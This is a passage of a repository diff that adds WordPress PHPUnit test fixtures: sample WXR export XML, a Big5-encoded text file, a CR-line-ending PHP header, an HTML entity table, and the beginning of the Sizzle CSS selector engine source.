+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Parent page</title>
+		<link>http://localhost/?page_id=10</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:44 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=10</guid>
+		<description></description>
+		<content:encoded><![CDATA[woop]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>10</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:44</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:44</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>parent-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583844]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+	</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/valid-wxr-1.1.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/valid-wxr-1.1.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/valid-wxr-1.1.xml	(revision 56912)
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-17 09:54" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+	<title>Export Datasets</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+	<wp:author><wp:author_id>2</wp:author_id><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name><wp:tag_description><![CDATA[The Clippable post_tag]]></wp:tag_description></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name><wp:term_description><![CDATA[The bieup post_tax]]></wp:term_description></wp:term>
+
+	<generator>http://wordpress.org/?v=3.1-alpha</generator>
+
+	<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+		<dc:creator>john</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2010-10-16 20:53:18</wp:post_date>
+		<wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+		<category domain="post_tag" nicename="clippable"><![CDATA[Clippable]]></category>
+		<category domain="post_tax" nicename="bieup"><![CDATA[bieup]]></category>
+		<wp:comment>
+			<wp:comment_id>1</wp:comment_id>
+			<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+			<wp:comment_author_email></wp:comment_author_email>
+			<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+			<wp:comment_author_IP></wp:comment_author_IP>
+			<wp:comment_date>2010-10-16 20:53:18</wp:comment_date>
+			<wp:comment_date_gmt>2010-10-16 20:53:18</wp:comment_date_gmt>
+			<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+			<wp:comment_approved>1</wp:comment_approved>
+			<wp:comment_type></wp:comment_type>
+			<wp:comment_parent>0</wp:comment_parent>
+			<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+	</item>
+	<item>
+		<title>About</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+		<dc:creator>john</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example of a WordPress page. You could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2010-10-16 20:53:18</wp:post_date>
+		<wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>about</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/formatting/big5.txt
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/big5.txt	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/big5.txt	(revision 56912)
@@ -0,0 +1,5 @@
+ª©¥»
+¤ÀÃþ
+Àô¹Ò
+©Ê½è
+­º­¶
Index: /tags/5.0.20/tests/phpunit/data/formatting/cr-line-endings-file-header.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/cr-line-endings-file-header.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/cr-line-endings-file-header.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/* Some Header: Some header value!
+ * Description: This file is using CR line endings for a testcase.
+ * Author: A Very Old Mac
+ */
Index: /tags/5.0.20/tests/phpunit/data/formatting/entities.txt
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/entities.txt	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/entities.txt	(revision 56912)
@@ -0,0 +1,255 @@
+### Named HTML character entities, their numeric reference 
+### (e.g. for &#[0-9]+; entity form), and their use.
+### From: http://www.w3.org/TR/html401/sgml/entities.html
+###
+nbsp	| 160	### no-break space 
+iexcl	| 161	### inverted exclamation mark 
+cent	| 162	### cent sign 
+pound	| 163	### pound sterling sign 
+curren	| 164	### general currency sign 
+yen	    | 165	### yen sign 
+brvbar	| 166	### broken (vertical) bar 
+sect	| 167	### section sign 
+uml	    | 168	### umlaut (dieresis) 
+copy	| 169	### copyright sign 
+ordf	| 170	### ordinal indicator, feminine 
+laquo	| 171	### angle quotation mark, left 
+not	    | 172	### not sign 
+shy	    | 173	### soft hyphen 
+reg	    | 174	### registered sign 
+macr	| 175	### macron 
+deg	    | 176	### degree sign 
+plusmn	| 177	### plus-or-minus sign 
+sup2	| 178	### superscript two 
+sup3	| 179	### superscript three 
+acute	| 180	### acute accent 
+micro	| 181	### micro sign 
+para	| 182	### pilcrow (paragraph sign) 
+middot	| 183	### middle dot 
+cedil	| 184	### cedilla 
+sup1	| 185	### superscript one 
+ordm	| 186	### ordinal indicator, masculine 
+raquo	| 187	### angle quotation mark, right 
+frac14	| 188	### fraction one-quarter 
+frac12	| 189	### fraction one-half 
+frac34	| 190	### fraction three-quarters 
+iquest	| 191	### inverted question mark 
+Agrave	| 192	### capital A, grave accent 
+Aacute	| 193	### capital A, acute accent 
+Acirc	| 194	### capital A, circumflex accent 
+Atilde	| 195	### capital A, tilde 
+Auml	| 196	### capital A, dieresis or umlaut mark 
+Aring	| 197	### capital A, ring 
+AElig	| 198	### capital AE diphthong (ligature) 
+Ccedil	| 199	### capital C, cedilla 
+Egrave	| 200	### capital E, grave accent 
+Eacute	| 201	### capital E, acute accent 
+Ecirc	| 202	### capital E, circumflex accent 
+Euml	| 203	### capital E, dieresis or umlaut mark 
+Igrave	| 204	### capital I, grave accent 
+Iacute	| 205	### capital I, acute accent 
+Icirc	| 206	### capital I, circumflex accent 
+Iuml	| 207	### capital I, dieresis or umlaut mark 
+ETH	    | 208	### capital Eth, Icelandic 
+Ntilde	| 209	### capital N, tilde 
+Ograve	| 210	### capital O, grave accent 
+Oacute	| 211	### capital O, acute accent 
+Ocirc	| 212	### capital O, circumflex accent 
+Otilde	| 213	### capital O, tilde 
+Ouml	| 214	### capital O, dieresis or umlaut mark 
+times	| 215	### multiply sign 
+Oslash	| 216	### capital O, slash 
+Ugrave	| 217	### capital U, grave accent 
+Uacute	| 218	### capital U, acute accent 
+Ucirc	| 219	### capital U, circumflex accent 
+Uuml	| 220	### capital U, dieresis or umlaut mark 
+Yacute	| 221	### capital Y, acute accent 
+THORN	| 222	### capital THORN, Icelandic 
+szlig	| 223	### small sharp s, German (sz ligature) 
+agrave	| 224	### small a, grave accent 
+aacute	| 225	### small a, acute accent 
+acirc	| 226	### small a, circumflex accent 
+atilde	| 227	### small a, tilde 
+auml	| 228	### small a, dieresis or umlaut mark 
+aring	| 229	### small a, ring 
+aelig	| 230	### small ae diphthong (ligature) 
+ccedil	| 231	### small c, cedilla 
+egrave	| 232	### small e, grave accent 
+eacute	| 233	### small e, acute accent 
+ecirc	| 234	### small e, circumflex accent 
+euml	| 235	### small e, dieresis or umlaut mark 
+igrave	| 236	### small i, grave accent 
+iacute	| 237	### small i, acute accent 
+icirc	| 238	### small i, circumflex accent 
+iuml	| 239	### small i, dieresis or umlaut mark 
+eth	    | 240	### small eth, Icelandic 
+ntilde	| 241	### small n, tilde 
+ograve	| 242	### small o, grave accent 
+oacute	| 243	### small o, acute accent 
+ocirc	| 244	### small o, circumflex accent 
+otilde	| 245	### small o, tilde 
+ouml	| 246	### small o, dieresis or umlaut mark 
+divide	| 247	### divide sign 
+oslash	| 248	### small o, slash 
+ugrave	| 249	### small u, grave accent 
+uacute	| 250	### small u, acute accent 
+ucirc	| 251	### small u, circumflex accent 
+uuml	| 252	### small u, dieresis or umlaut mark 
+yacute	| 253	### small y, acute accent 
+thorn	| 254	### small thorn, Icelandic 
+yuml	| 255	### small y, dieresis or umlaut mark 
+fnof	| 402	### latin small f with hook, =function, =florin, u+0192 ISOtech 
+Alpha	| 913	### greek capital letter alpha,  u+0391 
+Beta	| 914	### greek capital letter beta,  u+0392 
+Gamma	| 915	### greek capital letter gamma,  u+0393 ISOgrk3 
+Delta	| 916	### greek capital letter delta,  u+0394 ISOgrk3 
+Epsilon	| 917	### greek capital letter epsilon,  u+0395 
+Zeta	| 918	### greek capital letter zeta,  u+0396 
+Eta	    | 919	### greek capital letter eta,  u+0397 
+Theta	| 920	### greek capital letter theta,  u+0398 ISOgrk3 
+Iota	| 921	### greek capital letter iota,  u+0399 
+Kappa	| 922	### greek capital letter kappa,  u+039A 
+Lambda	| 923	### greek capital letter lambda,  u+039B ISOgrk3 
+Mu	    | 924	### greek capital letter mu,  u+039C 
+Nu	    | 925	### greek capital letter nu,  u+039D 
+Xi	    | 926	### greek capital letter xi,  u+039E ISOgrk3 
+Omicron	| 927	### greek capital letter omicron,  u+039F 
+Pi	    | 928	### greek capital letter pi,  u+03A0 ISOgrk3 
+Rho	    | 929	### greek capital letter rho,  u+03A1 
+Sigma	| 931	### greek capital letter sigma,  u+03A3 ISOgrk3 
+Tau	    | 932	### greek capital letter tau,  u+03A4 
+Upsilon	| 933	### greek capital letter upsilon,  u+03A5 ISOgrk3 
+Phi	    | 934	### greek capital letter phi,  u+03A6 ISOgrk3 
+Chi	    | 935	### greek capital letter chi,  u+03A7 
+Psi	    | 936	### greek capital letter psi,  u+03A8 ISOgrk3 
+Omega	| 937	### greek capital letter omega,  u+03A9 ISOgrk3 
+alpha	| 945	### greek small letter alpha, u+03B1 ISOgrk3 
+beta	| 946	### greek small letter beta,  u+03B2 ISOgrk3 
+gamma	| 947	### greek small letter gamma,  u+03B3 ISOgrk3 
+delta	| 948	### greek small letter delta,  u+03B4 ISOgrk3 
+epsilon	| 949	### greek small letter epsilon,  u+03B5 ISOgrk3 
+zeta	| 950	### greek small letter zeta,  u+03B6 ISOgrk3 
+eta	    | 951	### greek small letter eta,  u+03B7 ISOgrk3 
+theta	| 952	### greek small letter theta,  u+03B8 ISOgrk3 
+iota	| 953	### greek small letter iota,  u+03B9 ISOgrk3 
+kappa	| 954	### greek small letter kappa,  u+03BA ISOgrk3 
+lambda	| 955	### greek small letter lambda,  u+03BB ISOgrk3 
+mu	    | 956	### greek small letter mu,  u+03BC ISOgrk3 
+nu	    | 957	### greek small letter nu,  u+03BD ISOgrk3 
+xi	    | 958	### greek small letter xi,  u+03BE ISOgrk3 
+omicron	| 959	### greek small letter omicron,  u+03BF NEW 
+pi	    | 960	### greek small letter pi,  u+03C0 ISOgrk3 
+rho	    | 961	### greek small letter rho,  u+03C1 ISOgrk3 
+sigmaf	| 962	### greek small letter final sigma,  u+03C2 ISOgrk3 
+sigma	| 963	### greek small letter sigma,  u+03C3 ISOgrk3 
+tau	    | 964	### greek small letter tau,  u+03C4 ISOgrk3 
+upsilon	| 965	### greek small letter upsilon,  u+03C5 ISOgrk3 
+phi	    | 966	### greek small letter phi,  u+03C6 ISOgrk3 
+chi	    | 967	### greek small letter chi,  u+03C7 ISOgrk3 
+psi	    | 968	### greek small letter psi,  u+03C8 ISOgrk3 
+omega	| 969	### greek small letter omega,  u+03C9 ISOgrk3 
+thetasym| 977	### greek small letter theta symbol,  u+03D1 NEW 
+upsih	| 978	### greek upsilon with hook symbol,  u+03D2 NEW 
+piv	    | 982	### greek pi symbol,  u+03D6 ISOgrk3 
+bull	| 8226	### bullet, =black small circle, u+2022 ISOpub  
+hellip	| 8230	### horizontal ellipsis, =three dot leader, u+2026 ISOpub  
+prime	| 8242	### prime, =minutes, =feet, u+2032 ISOtech 
+Prime	| 8243	### double prime, =seconds, =inches, u+2033 ISOtech 
+oline	| 8254	### overline, =spacing overscore, u+203E NEW 
+frasl	| 8260	### fraction slash, u+2044 NEW 
+weierp	| 8472	### script capital P, =power set, =Weierstrass p, u+2118 ISOamso 
+image	| 8465	### blackletter capital I, =imaginary part, u+2111 ISOamso 
+real	| 8476	### blackletter capital R, =real part symbol, u+211C ISOamso 
+trade	| 8482	### trade mark sign, u+2122 ISOnum 
+alefsym	| 8501	### alef symbol, =first transfinite cardinal, u+2135 NEW 
+larr	| 8592	### leftwards arrow, u+2190 ISOnum 
+uarr	| 8593	### upwards arrow, u+2191 ISOnum
+rarr	| 8594	### rightwards arrow, u+2192 ISOnum 
+darr	| 8595	### downwards arrow, u+2193 ISOnum 
+harr	| 8596	### left right arrow, u+2194 ISOamsa 
+crarr	| 8629	### downwards arrow with corner leftwards, =carriage return, u+21B5 NEW 
+lArr	| 8656	### leftwards double arrow, u+21D0 ISOtech 
+uArr	| 8657	### upwards double arrow, u+21D1 ISOamsa 
+rArr	| 8658	### rightwards double arrow, u+21D2 ISOtech 
+dArr	| 8659	### downwards double arrow, u+21D3 ISOamsa 
+hArr	| 8660	### left right double arrow, u+21D4 ISOamsa 
+forall	| 8704	### for all, u+2200 ISOtech 
+part	| 8706	### partial differential, u+2202 ISOtech  
+exist	| 8707	### there exists, u+2203 ISOtech 
+empty	| 8709	### empty set, =null set, =diameter, u+2205 ISOamso 
+nabla	| 8711	### nabla, =backward difference, u+2207 ISOtech 
+isin	| 8712	### element of, u+2208 ISOtech 
+notin	| 8713	### not an element of, u+2209 ISOtech 
+ni	    | 8715	### contains as member, u+220B ISOtech 
+prod	| 8719	### n-ary product, =product sign, u+220F ISOamsb 
+sum	    | 8721	### n-ary sumation, u+2211 ISOamsb 
+minus	| 8722	### minus sign, u+2212 ISOtech 
+lowast	| 8727	### asterisk operator, u+2217 ISOtech 
+radic	| 8730	### square root, =radical sign, u+221A ISOtech 
+prop	| 8733	### proportional to, u+221D ISOtech 
+infin	| 8734	### infinity, u+221E ISOtech 
+ang	    | 8736	### angle, u+2220 ISOamso 
+and	    | 8743	### logical and, =wedge, u+2227 ISOtech 
+or	    | 8744	### logical or, =vee, u+2228 ISOtech 
+cap	    | 8745	### intersection, =cap, u+2229 ISOtech 
+cup	    | 8746	### union, =cup, u+222A ISOtech 
+int	    | 8747	### integral, u+222B ISOtech 
+there4	| 8756	### therefore, u+2234 ISOtech 
+sim	    | 8764	### tilde operator, =varies with, =similar to, u+223C ISOtech 
+cong	| 8773	### approximately equal to, u+2245 ISOtech 
+asymp	| 8776	### almost equal to, =asymptotic to, u+2248 ISOamsr 
+ne	    | 8800	### not equal to, u+2260 ISOtech 
+equiv	| 8801	### identical to, u+2261 ISOtech 
+le	    | 8804	### less-than or equal to, u+2264 ISOtech 
+ge	    | 8805	### greater-than or equal to, u+2265 ISOtech 
+sub	    | 8834	### subset of, u+2282 ISOtech 
+sup	    | 8835	### superset of, u+2283 ISOtech 
+nsub	| 8836	### not a subset of, u+2284 ISOamsn 
+sube	| 8838	### subset of or equal to, u+2286 ISOtech 
+supe	| 8839	### superset of or equal to, u+2287 ISOtech 
+oplus	| 8853	### circled plus, =direct sum, u+2295 ISOamsb 
+otimes	| 8855	### circled times, =vector product, u+2297 ISOamsb 
+perp	| 8869	### up tack, =orthogonal to, =perpendicular, u+22A5 ISOtech 
+sdot	| 8901	### dot operator, u+22C5 ISOamsb 
+lceil	| 8968	### left ceiling, =apl upstile, u+2308, ISOamsc  
+rceil	| 8969	### right ceiling, u+2309, ISOamsc  
+lfloor	| 8970	### left floor, =apl downstile, u+230A, ISOamsc  
+rfloor	| 8971	### right floor, u+230B, ISOamsc  
+lang	| 9001	### left-pointing angle bracket, =bra, u+2329 ISOtech 
+rang	| 9002	### right-pointing angle bracket, =ket, u+232A ISOtech 
+loz	    | 9674	### lozenge, u+25CA ISOpub 
+spades	| 9824	### black spade suit, u+2660 ISOpub 
+clubs	| 9827	### black club suit, =shamrock, u+2663 ISOpub 
+hearts	| 9829	### black heart suit, =valentine, u+2665 ISOpub 
+diams	| 9830	### black diamond suit, u+2666 ISOpub 
+quot	| 34	### quotation mark, =apl quote, u+0022 ISOnum 
+amp	    | 38	### ampersand, u+0026 ISOnum 
+lt	    | 60	### less-than sign, u+003C ISOnum 
+gt	    | 62	### greater-than sign, u+003E ISOnum 
+OElig	| 338	### latin capital ligature oe, u+0152 ISOlat2 
+oelig	| 339	### latin small ligature oe, u+0153 ISOlat2 
+Scaron	| 352	### latin capital letter s with caron, u+0160 ISOlat2 
+scaron	| 353	### latin small letter s with caron, u+0161 ISOlat2 
+Yuml	| 376	### latin capital letter y with diaeresis, u+0178 ISOlat2 
+circ	| 710	### modifier letter circumflex accent, u+02C6 ISOpub 
+tilde	| 732	### small tilde, u+02DC ISOdia 
+ensp	| 8194	### en space, u+2002 ISOpub 
+emsp	| 8195	### em space, u+2003 ISOpub 
+thinsp	| 8201	### thin space, u+2009 ISOpub 
+zwnj	| 8204	### zero width non-joiner, u+200C NEW RFC 2070 
+zwj	    | 8205	### zero width joiner, u+200D NEW RFC 2070 
+lrm	    | 8206	### left-to-right mark, u+200E NEW RFC 2070 
+rlm	    | 8207	### right-to-left mark, u+200F NEW RFC 2070 
+ndash	| 8211	### en dash, u+2013 ISOpub 
+mdash	| 8212	### em dash, u+2014 ISOpub 
+lsquo	| 8216	### left single quotation mark, u+2018 ISOnum 
+rsquo	| 8217	### right single quotation mark, u+2019 ISOnum 
+sbquo	| 8218	### single low-9 quotation mark, u+201A NEW 
+ldquo	| 8220	### left double quotation mark, u+201C ISOnum 
+rdquo	| 8221	### right double quotation mark, u+201D ISOnum 
+bdquo	| 8222	### double low-9 quotation mark, u+201E NEW 
+dagger	| 8224	### dagger, u+2020 ISOpub 
+Dagger	| 8225	### double dagger, u+2021 ISOpub 
+permil	| 8240	### per mille sign, u+2030 ISOtech 
+lsaquo	| 8249	### single left-pointing angle quotation mark; proposed but not yet standardised
+rsaquo	| 8250	### single right-pointing angle quotation mark; proposed but not yet standardised
Index: /tags/5.0.20/tests/phpunit/data/formatting/sizzle.js
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/sizzle.js	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/sizzle.js	(revision 56912)
@@ -0,0 +1,1445 @@
+/*!
+ * Sizzle CSS Selector Engine
+ *  Copyright 2011, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){
+
+var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+	expando = "sizcache" + (Math.random() + '').replace('.', ''),
+	done = 0,
+	toString = Object.prototype.toString,
+	hasDuplicate = false,
+	baseHasDuplicate = true,
+	rBackslash = /\\/g,
+	rReturn = /\r\n/g,
+	rNonWord = /\W/;
+
+// Here we check if the JavaScript engine is using some sort of
+// optimization where it does not always call our comparision
+// function. If that is the case, discard the hasDuplicate value.
+//   Thus far that includes Google Chrome.
+[0, 0].sort(function() {
+	baseHasDuplicate = false;
+	return 0;
+});
+
+var Sizzle = function( selector, context, results, seed ) {
+	results = results || [];
+	context = context || document;
+
+	var origContext = context;
+
+	if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
+		return [];
+	}
+
+	if ( !selector || typeof selector !== "string" ) {
+		return results;
+	}
+
+	var m, set, checkSet, extra, ret, cur, pop, i,
+		prune = true,
+		contextXML = Sizzle.isXML( context ),
+		parts = [],
+		soFar = selector;
+
+	// Reset the position of the chunker regexp (start from head)
+	do {
+		chunker.exec( "" );
+		m = chunker.exec( soFar );
+
+		if ( m ) {
+			soFar = m[3];
+
+			parts.push( m[1] );
+
+			if ( m[2] ) {
+				extra = m[3];
+				break;
+			}
+		}
+	} while ( m );
+
+	if ( parts.length > 1 && origPOS.exec( selector ) ) {
+
+		if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
+			set = posProcess( parts[0] + parts[1], context, seed );
+
+		} else {
+			set = Expr.relative[ parts[0] ] ?
+				[ context ] :
+				Sizzle( parts.shift(), context );
+
+			while ( parts.length ) {
+				selector = parts.shift();
+
+				if ( Expr.relative[ selector ] ) {
+					selector += parts.shift();
+				}
+
+				set = posProcess( selector, set, seed );
+			}
+		}
+
+	} else {
+		// Take a shortcut and set the context if the root selector is an ID
+		// (but not if it'll be faster if the inner selector is an ID)
+		if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
+				Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
+
+			ret = Sizzle.find( parts.shift(), context, contextXML );
+			context = ret.expr ?
+				Sizzle.filter( ret.expr, ret.set )[0] :
+				ret.set[0];
+		}
+
+		if ( context ) {
+			ret = seed ?
+				{ expr: parts.pop(), set: makeArray(seed) } :
+				Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
+
+			set = ret.expr ?
+				Sizzle.filter( ret.expr, ret.set ) :
+				ret.set;
+
+			if ( parts.length > 0 ) {
+				checkSet = makeArray( set );
+
+			} else {
+				prune = false;
+			}
+
+			while ( parts.length ) {
+				cur = parts.pop();
+				pop = cur;
+
+				if ( !Expr.relative[ cur ] ) {
+					cur = "";
+				} else {
+					pop = parts.pop();
+				}
+
+				if ( pop == null ) {
+					pop = context;
+				}
+
+				Expr.relative[ cur ]( checkSet, pop, contextXML );
+			}
+
+		} else {
+			checkSet = parts = [];
+		}
+	}
+
+	if ( !checkSet ) {
+		checkSet = set;
+	}
+
+	if ( !checkSet ) {
+		Sizzle.error( cur || selector );
+	}
+
+	if ( toString.call(checkSet) === "[object Array]" ) {
+		if ( !prune ) {
+			results.push.apply( results, checkSet );
+
+		} else if ( context && context.nodeType === 1 ) {
+			for ( i = 0; checkSet[i] != null; i++ ) {
+				if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
+					results.push( set[i] );
+				}
+			}
+
+		} else {
+			for ( i = 0; checkSet[i] != null; i++ ) {
+				if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
+					results.push( set[i] );
+				}
+			}
+		}
+
+	} else {
+		makeArray( checkSet, results );
+	}
+
+	if ( extra ) {
+		Sizzle( extra, origContext, results, seed );
+		Sizzle.uniqueSort( results );
+	}
+
+	return results;
+};
+
+Sizzle.uniqueSort = function( results ) {
+	if ( sortOrder ) {
+		hasDuplicate = baseHasDuplicate;
+		results.sort( sortOrder );
+
+		if ( hasDuplicate ) {
+			for ( var i = 1; i < results.length; i++ ) {
+				if ( results[i] === results[ i - 1 ] ) {
+					results.splice( i--, 1 );
+				}
+			}
+		}
+	}
+
+	return results;
+};
+
+Sizzle.matches = function( expr, set ) {
+	return Sizzle( expr, null, null, set );
+};
+
+Sizzle.matchesSelector = function( node, expr ) {
+	return Sizzle( expr, null, null, [node] ).length > 0;
+};
+
+Sizzle.find = function( expr, context, isXML ) {
+	var set, i, len, match, type, left;
+
+	if ( !expr ) {
+		return [];
+	}
+
+	for ( i = 0, len = Expr.order.length; i < len; i++ ) {
+		type = Expr.order[i];
+
+		if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
+			left = match[1];
+			match.splice( 1, 1 );
+
+			if ( left.substr( left.length - 1 ) !== "\\" ) {
+				match[1] = (match[1] || "").replace( rBackslash, "" );
+				set = Expr.find[ type ]( match, context, isXML );
+
+				if ( set != null ) {
+					expr = expr.replace( Expr.match[ type ], "" );
+					break;
+				}
+			}
+		}
+	}
+
+	if ( !set ) {
+		set = typeof context.getElementsByTagName !== "undefined" ?
+			context.getElementsByTagName( "*" ) :
+			[];
+	}
+
+	return { set: set, expr: expr };
+};
+
+Sizzle.filter = function( expr, set, inplace, not ) {
+	var match, anyFound,
+		type, found, item, filter, left,
+		i, pass,
+		old = expr,
+		result = [],
+		curLoop = set,
+		isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
+
+	while ( expr && set.length ) {
+		for ( type in Expr.filter ) {
+			if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
+				filter = Expr.filter[ type ];
+				left = match[1];
+
+				anyFound = false;
+
+				match.splice(1,1);
+
+				if ( left.substr( left.length - 1 ) === "\\" ) {
+					continue;
+				}
+
+				if ( curLoop === result ) {
+					result = [];
+				}
+
+				if ( Expr.preFilter[ type ] ) {
+					match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
+
+					if ( !match ) {
+						anyFound = found = true;
+
+					} else if ( match === true ) {
+						continue;
+					}
+				}
+
+				if ( match ) {
